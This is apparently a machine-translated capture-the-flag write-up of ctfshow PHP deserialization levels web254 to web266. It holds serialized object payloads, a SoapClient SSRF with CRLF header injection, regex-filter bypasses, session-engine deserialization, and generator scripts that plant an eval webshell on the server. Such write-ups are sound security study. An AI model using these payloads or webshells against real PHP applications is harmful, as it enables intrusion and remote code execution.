web254
?username=xxxxxx&password=xxxxxx
web255
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
cookie:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
get:
?username=a&password=xxxxxx
web257
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
Function to call: eval
public function __destruct(){ $this->class->getInfo(); }
Try to change the class attribute of ctfShowUser class to backDoor class
No bypass
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class; public function __construct($a) { $this->class = $a; } } class backDoor{ private $code='phpinfo();'; public function getInfo(){ eval($this->code); } } $a = new backDoor(); $b = new ctfShowUser($a); echo urlencode(serialize($b));
web258
Added a layer of filtering
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
You can bypass it by adding a plus sign
O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
%2b url encoded+
That is, O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
Adding a space after the sign does not affect:
web259
The source code of flag.php is given
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
Visit the flag.php page to echo your ip not 127.0.0.1
index.php
$vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
The deserialization entry is here
SoapClient
//You need to open the soap extension in php.ini
PHP's built-in class SoapClient is a class specially used to access Web services. It can provide a PHP client to access Web services based on SOAP Protocol.
The class is summarized as follows:
SoapClient { /* method */ public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
As you can see, the built-in class has a__ Call method, when__ After the call method is triggered, it can send HTTP and HTTPS requests. That's it__ Call method, so that SoapClient class can be used in SSRF. SoapClient is also a built-in class that has been mined to be the best to use.
The constructor of this class is as follows:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
Public SoapClient:: the first parameter of SoapClient (mixed $wsdl [, array $options]) is used to indicate whether it is a wsdl mode. Setting this value to null indicates a non wsdl mode. The second parameter is an array. If in wsdl mode, this parameter is optional; If you are in non wsdl mode, you must set the location and uri options, where location is the URL of the SOAP server to which you want to send the request, and uri is the target namespace of the SOAP service.
payload:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo urlencode($a); ?>
Reference article: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
web260
?ctfshow=s%3A18%3A%22ctfshow_i_love_36D%22%3B
web261
Topic tip: call Redis
Target: file_ put_ contents($this->username, $this->password);
ps:
If both unserialize() and wakeup() magic methods are defined in the class, only unserialize() method will take effect and wakeup() method will be ignored.
<?php class ctfshowvip{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } } $a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>'); echo serialize($a);
web262
Comment tip: message.php
if($msg->token=='admin'){ echo $flag;
However, we cannot directly control the attribute token, which is written to death
Go back to the beginning page
$umsg = str_replace('fuck', 'loveU', serialize($msg));
fuck four characters, replace with five characters
You can control the token by deserializing the character escape. At the beginning, the page creates a cookie. On the first page, you can access the message by escaping the cookie with malicious token attribute, and deserialize the flag
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:5:"admin";} Content to escape: 27 characters ";s:5:"token";s:5:"admin";}
We input fuck 27 times, and after replacement, there are 27 more characters than before
Local debugging:
<?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $str = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'; $a = new message(1,2,$str); $mes = serialize($a); $umsg = str_replace('fuck', 'loveU', $mes); var_dump(unserialize($umsg));
result:
object(message)#2 (4) { ["from"]=> int(1) ["msg"]=> int(2) ["to"]=> string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU" ["token"]=> string(5) "admin" }
It can be seen that the token has been escaped to admin at this time
Conversely, if there are fewer substitutions, we can also add attributes
<?php class message{ public $from; public $msg; public $to; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } //echo serialize(new message()); $b='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck'; $str = ';s:5:"token";s:5:"admin'; $a = new message(1,$b,$str); $mes = serialize($a); $umsg = str_replace('fuck', 'lov', $mes); echo $umsg; //O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:68:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";} //";s:2:"to";s:23:" //17 characters var_dump(unserialize($umsg)); O:7:"message":3:{s:4:"from";i:1;s:3:"msg";s:64:"lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:";s:5:"token";s:5:"admin";}object(message)#2 (4) { ["from"]=> int(1) ["msg"]=> string(64) "lovlovlovlovlovlovlovlovlovlovlovlovlovlovlovlov";s:2:"to";s:23:" ["to"]=> NULL ["token"]=> string(5) "admin" }
Added non-existent attribute
web263
php session deserialization, www.zip
1. Understand the principle of php session deserialization vulnerability
https://www.jb51.net/article/116246.htm
2. Do questions
$_ COOKIE['limit '] we can control it
inc/inc.php
file_put_contents("log-".$this->username, "use".$this->password."land".($this->status?"success":"fail")."----".date_create()->format('Y-m-d H:i:s'));
"Log -". $this - > username the file name we wrote
"Use" $this - > password. "Login" ($this - > status? "Success": "failure"). "----". Date_ Create() - > format ('y-m-d H: I: s') what we write
But how do I call the__ For destruct, we can trigger it by calling unserialize after deserialization, storage and retrieval through phpsession
<?php class User{ public $username; public $password; public $status='a'; } $a=new User(); $a->username='a.php'; $a->password='<?php eval($_POST[1]);?>'; echo base64_encode('|'.serialize($a));
Put the generated things into the cookie['limit '], and then visit index.php
trigger
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Save to session
This is because when using the php engine, the php engine will use | as the separator between key and value, then a:1:{s:4:"ryat";s:30: "as the key of SESSION, O:1:"A":1:{s:1:"a";s:2:"xx ";} as the value, and then deserialize it to get the class A.
This different engine used for serialization and deserialization is the cause of the PHP Session serialization vulnerability. When loading a page using the php engine, the session reads the content in the session and deserializes, causing the vulnerability to be triggered without any output
We can write log-a.php in one sentence
web264
262 + 263 feeling
$_SESSION['msg']=base64_encode($umsg)
The session is saved here
message.php
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
The session is taken out here with unserialize
/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
public function login(){ return $this->token===$this->password; }
The token is a random number, but we can control the address to pass parameters, and let the password point to the address of the token
<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->token= 'a'; $this->password = &$this->token; } } echo urlencode(serialize(new ctfshowAdmin()));
web266
if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
If ctfshow is matched, an exception will be thrown, so that the _destroymethod cannot be triggered
Take the environmental test of the previous question:
<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->token= 'a'; $this->password = &$this->token; } public function __destruct(){ echo '<br>success<br>'; } } $a = new ctfshowAdmin(); echo serialize($a); $c = 'O:12:"CtfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}'; unserialize($c);
Echo
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;} success success
Therefore, as long as the serialized string is capitalized with c, the regular matching can be bypassed, and deserialization does not affect
The local test is repeated, and the case of any character does not seem to affect _destroy